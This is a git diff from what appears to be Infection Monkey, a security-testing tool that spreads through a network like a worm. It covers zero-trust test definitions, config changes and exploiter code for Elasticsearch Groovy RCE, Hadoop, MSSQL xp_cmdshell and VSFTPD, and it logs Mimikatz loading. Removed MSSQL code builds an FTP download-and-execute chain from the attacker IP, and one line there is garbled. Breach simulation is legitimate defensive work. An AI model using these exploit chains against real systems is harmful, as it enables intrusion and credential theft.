+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
+ },
+ TEST_SCHEDULED_EXECUTION: {
+ TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
+ STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
+ PILLARS_KEY: [PEOPLE, NETWORKS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ },
+ TEST_DATA_ENDPOINT_ELASTIC: {
+ TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
+ STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+ PILLARS_KEY: [DATA],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_DATA_ENDPOINT_HTTP: {
+ TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
+ STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+ PILLARS_KEY: [DATA],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_TUNNELING: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
+ PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
+ },
+ TEST_COMMUNICATE_AS_NEW_USER: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+ STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
+ PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+}
+
+EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
+EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
+EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
+
+PILLARS_TO_TESTS = {
+ DATA: [],
+ PEOPLE: [],
+ NETWORKS: [],
+ DEVICES: [],
+ WORKLOADS: [],
+ VISIBILITY_ANALYTICS: [],
+ AUTOMATION_ORCHESTRATION: []
+}
+
+PRINCIPLES_TO_TESTS = {}
+
+PRINCIPLES_TO_PILLARS = {}
+
+
+def populate_mappings():
+ populate_pillars_to_tests()
+ populate_principles_to_tests()
+ populate_principles_to_pillars()
+
+
+def populate_pillars_to_tests():
+ for pillar in PILLARS:
+ for test, test_info in TESTS_MAP.items():
+ if pillar in test_info[PILLARS_KEY]:
+ PILLARS_TO_TESTS[pillar].append(test)
+
+
+def populate_principles_to_tests():
+ for single_principle in PRINCIPLES:
+ PRINCIPLES_TO_TESTS[single_principle] = []
+ for test, test_info in TESTS_MAP.items():
+ PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
+
+
+def populate_principles_to_pillars():
+ for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ principles_pillars = set()
+ for test in principle_tests:
+ for pillar in TESTS_MAP[test][PILLARS_KEY]:
+ principles_pillars.add(pillar)
+ PRINCIPLES_TO_PILLARS[principle] = principles_pillars
diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py
new file mode 100644
index 000000000..9bbaabf1d
--- /dev/null
+++ b/monkey/common/network/segmentation_utils.py
@@ -0,0 +1,23 @@
+def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
+ """
+ Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
+ :param ip_addresses: List[str]: List of IP addresses to test.
+ :param source_subnet: NetworkRange: Subnet to want an IP to not be in.
+ :param target_subnet: NetworkRange: Subnet we want an IP to be in.
+ :return: The cross segment IP if in source but not in target, else None. Union[str, None]
+ """
+ if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
+ return None
+ return get_ip_if_in_subnet(ip_addresses, source_subnet)
+
+
+def get_ip_if_in_subnet(ip_addresses, subnet):
+ """
+ :param ip_addresses: IP address list.
+ :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
+ :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
+ """
+ for ip_address in ip_addresses:
+ if subnet.is_in_range(ip_address):
+ return ip_address
+ return None
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
new file mode 100644
index 000000000..56a560922
--- /dev/null
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -0,0 +1,30 @@
+from common.network.network_range import *
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestSegmentationUtils(IslandTestCase):
+ def test_get_ip_in_src_and_not_in_dst(self):
+ self.fail_if_not_testing_env()
+ source = CidrRange("1.1.1.0/24")
+ target = CidrRange("2.2.2.0/24")
+
+ # IP not in both
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
+ ))
+
+ # IP not in source, in target
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("2.2.2.2")], source, target
+ ))
+
+ # IP in source, not in target
+ self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
+ [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
+ ))
+
+ # IP in both subnets
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
+ ))
diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py
index c7d2dc62c..708bc8f3c 100644
--- a/monkey/common/utils/attack_utils.py
+++ b/monkey/common/utils/attack_utils.py
@@ -8,3 +8,29 @@ class ScanStatus(Enum):
SCANNED = 1
# Technique was attempted and succeeded
USED = 2
+
+
+class UsageEnum(Enum):
+ SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
+ ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
+ MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
+ ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
+ MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
+ ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
+ DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+ SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
+ ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
+ " for monkey process wasn't successful."}
+ DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+
+
+# Dict that describes what BITS job was used for
+BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
+
+
+def format_time(time):
+ return "%s-%s %s:%s:%s" % (time.date().month,
+ time.date().day,
+ time.time().hour,
+ time.time().minute,
+ time.time().second)
diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py
new file mode 100644
index 000000000..d6d407706
--- /dev/null
+++ b/monkey/common/utils/code_utils.py
@@ -0,0 +1,10 @@
+
+
+# abstract, static method decorator
+class abstractstatic(staticmethod):
+ __slots__ = ()
+
+ def __init__(self, function):
+ super(abstractstatic, self).__init__(function)
+ function.__isabstractmethod__ = True
+ __isabstractmethod__ = True
diff --git a/monkey/infection_monkey/build_windows.bat b/monkey/infection_monkey/build_windows.bat
index e5ff5a805..f763bda6b 100644
--- a/monkey/infection_monkey/build_windows.bat
+++ b/monkey/infection_monkey/build_windows.bat
@@ -1 +1 @@
-pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
+pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 50ee2c060..5d69e8bd9 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -1,3 +1,4 @@
+import hashlib
import os
import json
import sys
@@ -13,14 +14,15 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
+SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
+HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
+
class Configuration(object):
-
def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit')
- post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = []
for key, value in formatted_data.items():
@@ -37,9 +39,6 @@ class Configuration(object):
elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects)
- elif key == 'post_breach_actions':
- class_objects = [getattr(post_breach_import, val) for val in value]
- setattr(self, key, class_objects)
else:
if hasattr(self, key):
setattr(self, key, value)
@@ -57,6 +56,12 @@ class Configuration(object):
result = self.from_kv(formatted_data)
return result
+ @staticmethod
+ def hide_sensitive_info(config_dict):
+ for field in SENSITIVE_FIELDS:
+ config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
+ return config_dict
+
def as_dict(self):
result = {}
for key in dir(Configuration):
@@ -104,8 +109,8 @@ class Configuration(object):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
- dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
- dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
+ dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
+ dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey'
###########################
@@ -136,10 +141,10 @@ class Configuration(object):
exploiter_classes = []
# how many victims to look for in a single scan iteration
- victims_max_find = 30
+ victims_max_find = 100
# how many victims to exploit before stopping
- victims_max_exploit = 7
+ victims_max_exploit = 15
# depth of propagation
depth = 2
@@ -161,9 +166,8 @@ class Configuration(object):
keep_tunnel_open_time = 60
- # Monkey files directories
- monkey_dir_linux = '/tmp/monkey_dir'
- monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
+ # Monkey files directory name
+ monkey_dir_name = 'monkey_dir'
###########################
# scanners config
@@ -179,7 +183,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
+ 8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
@@ -195,7 +199,7 @@ class Configuration(object):
9200]
tcp_target_ports.extend(HTTP_PORTS)
tcp_scan_timeout = 3000 # 3000 Milliseconds
- tcp_scan_interval = 0
+ tcp_scan_interval = 0 # in milliseconds
tcp_scan_get_banner = True
# Ping Scanner
@@ -205,15 +209,13 @@ class Configuration(object):
# exploiters config
###########################
+ should_exploit = True
skip_exploit_if_file_exist = False
ms08_067_exploit_attempts = 5
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
- # rdp exploiter
- rdp_use_vbs_download = True
-
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
@@ -276,5 +278,17 @@ class Configuration(object):
PBA_linux_filename = None
PBA_windows_filename = None
+ @staticmethod
+ def hash_sensitive_data(sensitive_data):
+ """
+ Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
+ saved on client machines plain-text.
+
+ :param sensitive_data: the data to hash.
+ :return: the hashed data.
+ """
+ password_hashed = hashlib.sha512(sensitive_data).hexdigest()
+ return password_hashed
+
WormConfiguration = Configuration()
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index a88996069..4e917e5a6 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -20,6 +20,12 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
+PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
+
+# random number greater than 5,
+# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
+TIMEOUT_IN_SECONDS = 15
+
class ControlClient(object):
proxies = {}
@@ -73,7 +79,7 @@ class ControlClient(object):
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies,
- timeout=TIMEOUT)
+ timeout=TIMEOUT_IN_SECONDS)
WormConfiguration.current_server = current_server
break
@@ -117,11 +123,12 @@ class ControlClient(object):
return {}
@staticmethod
- def send_telemetry(telem_type, data):
+ def send_telemetry(telem_category, data):
if not WormConfiguration.current_server:
+ LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
return
try:
- telemetry = {'monkey_guid': GUID, 'telem_type': telem_type, 'data': data}
+ telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type': 'application/json'},
@@ -162,7 +169,8 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
- LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
+ LOG.info("New configuration was loaded from server: %r" %
+ (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
@@ -303,3 +311,13 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
+
+ @staticmethod
+ def get_pba_file(filename):
+ try:
+ return requests.get(PBA_FILE_DOWNLOAD %
+ (WormConfiguration.current_server, filename),
+ verify=False,
+ proxies=ControlClient.proxies)
+ except requests.exceptions.RequestException:
+ return False
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 02bd649c2..7c576fc30 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -11,9 +11,11 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@@ -51,7 +53,6 @@ class MonkeyDrops(object):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
-
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return False
@@ -157,5 +158,6 @@ class MonkeyDrops(object):
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
+ T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
except AttributeError:
LOG.error("Invalid configuration options. Failing")
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 7ad23fa7b..84d474db3 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -1,4 +1,5 @@
{
+ "should_exploit": true,
"command_servers": [
"192.0.2.0:5000"
],
@@ -24,13 +25,11 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
- "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
- "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
- monkey_dir_linux = '/tmp/monkey_dir',
- monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
-
+ "monkey_dir_name": "monkey_dir",
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
@@ -44,7 +43,8 @@
"SambaCryExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
- "HadoopExploiter"
+ "HadoopExploiter",
+ "VSFTPDExploiter"
],
"finger_classes": [
"SSHFinger",
@@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
- "rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
@@ -98,8 +97,8 @@
],
"timeout_between_iterations": 10,
"use_file_logging": true,
- "victims_max_exploit": 7,
- "victims_max_find": 30,
+ "victims_max_exploit": 15,
+ "victims_max_find": 100,
"post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 0d4300b5f..ad38f50ce 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -1,6 +1,7 @@
-from abc import ABCMeta, abstractmethod
+from abc import ABCMeta, abstractmethod, abstractproperty
import infection_monkey.config
from common.utils.exploit_enum import ExploitType
+from datetime import datetime
__author__ = 'itamar'
@@ -13,35 +14,72 @@ class HostExploiter(object):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
+ @abstractproperty
+ def _EXPLOITED_SERVICE(self):
+ pass
+
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
- self._exploit_info = {}
- self._exploit_attempts = []
+ self.exploit_info = {'display_name': self._EXPLOITED_SERVICE,
+ 'started': '',
+ 'finished': '',
+ 'vulnerable_urls': [],
+ 'vulnerable_ports': [],
+ 'executed_cmds': []}
+ self.exploit_attempts = []
self.host = host
+ def set_start_time(self):
+ self.exploit_info['started'] = datetime.now().isoformat()
+
+ def set_finish_time(self):
+ self.exploit_info['finished'] = datetime.now().isoformat()
+
def is_os_supported(self):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
- from infection_monkey.control import ControlClient
- ControlClient.send_telemetry(
- 'exploit',
- {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
- 'info': self._exploit_info, 'attempts': self._exploit_attempts})
+ from infection_monkey.telemetry.exploit_telem import ExploitTelem
+ ExploitTelem(self, result).send()
def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''):
- self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
+ self.exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key})
- @abstractmethod
def exploit_host(self):
+ self.pre_exploit()
+ result = self._exploit_host()
+ self.post_exploit()
+ return result
+
+ def pre_exploit(self):
+ self.set_start_time()
+
+ def post_exploit(self):
+ self.set_finish_time()
+
+ @abstractmethod
+ def _exploit_host(self):
raise NotImplementedError()
+ def add_vuln_url(self, url):
+ self.exploit_info['vulnerable_urls'].append(url)
+
+ def add_vuln_port(self, port):
+ self.exploit_info['vulnerable_ports'].append(port)
+
+ def add_executed_cmd(self, cmd):
+ """
+ Appends command to exploiter's info.
+ :param cmd: String of executed command. e.g. 'echo Example'
+ """
+ powershell = True if "powershell" in cmd.lower() else False
+ self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
+
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
-from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter
@@ -50,3 +88,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
+from infection_monkey.exploit.vsftpd import VSFTPDExploiter
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index faa6681b4..f1057f2dd 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,9 +8,12 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
-from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
+from infection_monkey.network.elasticfinger import ES_PORT
+from common.data.network_consts import ES_SERVICE
+from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
+from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
import re
@@ -27,6 +30,7 @@ class ElasticGroovyExploiter(WebRCE):
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Elastic search'
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
@@ -35,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
- exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
+ exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
@@ -58,6 +62,12 @@ class ElasticGroovyExploiter(WebRCE):
return False
return result[0]
+ def upload_monkey(self, url, commands=None):
+ result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands)
+ if 'windows' in self.host.os['type'] and result:
+ T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
+ return result
+
def get_results(self, response):
"""
Extracts the result data from our attack
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 1db521acd..10ddbe589 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'
@@ -21,6 +22,7 @@ LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Hadoop'
HADOOP_PORTS = [["8088", False]]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
@@ -30,7 +32,7 @@ class HadoopExploiter(WebRCE):
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
- def exploit_host(self):
+ def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
@@ -48,6 +50,7 @@ class HadoopExploiter(WebRCE):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
+ self.add_executed_cmd(command)
return True
def exploit(self, url, command):
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 2e8bf6c90..718615114 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,106 +1,170 @@
-import os
import logging
+import os
+import sys
+from time import sleep
import pymssql
-from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from common.utils.exploit_enum import ExploitType
-
-__author__ = 'Maor Rayzin'
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
+from infection_monkey.model import DROPPER_ARG
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
+ _EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
+ # Time in seconds to wait between MSSQL queries.
+ QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
- DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
- DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
+
+ # Temporary file that saves commands for monkey's download and execution.
+ TMP_FILE_NAME = 'tmp_monkey.bat'
+ TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
+
+ MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+
+ XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
+ XP_CMDSHELL_COMMAND_END = "\""
+ EXPLOIT_COMMAND_PREFIX = "ftp.txt& \
- echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
- shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
- shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
- .format(self.payload_path)
- shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
- shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
-
- # Checking to see if ftp server is up
- if self.ftp_server_p and self.ftp_server:
- try:
- # Running the cmd on remote host
- for cmd in shellcmds:
- self.cursor.execute(cmd)
- sleep(0.5)
- except Exception as e:
- LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
- self.ftp_server_p.terminate()
- return False
- return True
- else:
- LOG.error("Couldn't establish an FTP server for the dropout")
- return False
-
- def execute_payload(self):
-
- """
- Executes the payload after ftp drop
-
- Return:
- True if payload was executed successfully, False if not.
- """
-
- # Getting the payload's file name
- payload_file_name = os.path.split(self.payload_path)[1]
-
- # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
- shellcmd = """DECLARE @i INT \
- EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
- SELECT @i """.format(payload_file_name)
-
- try:
- # Executing payload on remote host
- LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
- self.cursor.execute(shellcmd)
- if self.cursor.fetchall()[0][0] == 0:
- # Success
- self.ftp_server_p.terminate()
- LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
- return True
- else:
- LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
- self.ftp_server_p.terminate()
- return False
-
- except pymssql.OperationalError as e:
- LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
- self.ftp_server_p.terminate()
- return False
-
- def cleanup_files(self):
- """
- Cleans up the folder with the attack related files (C:\\tmp by default)
- :return: True or False if command executed or not.
- """
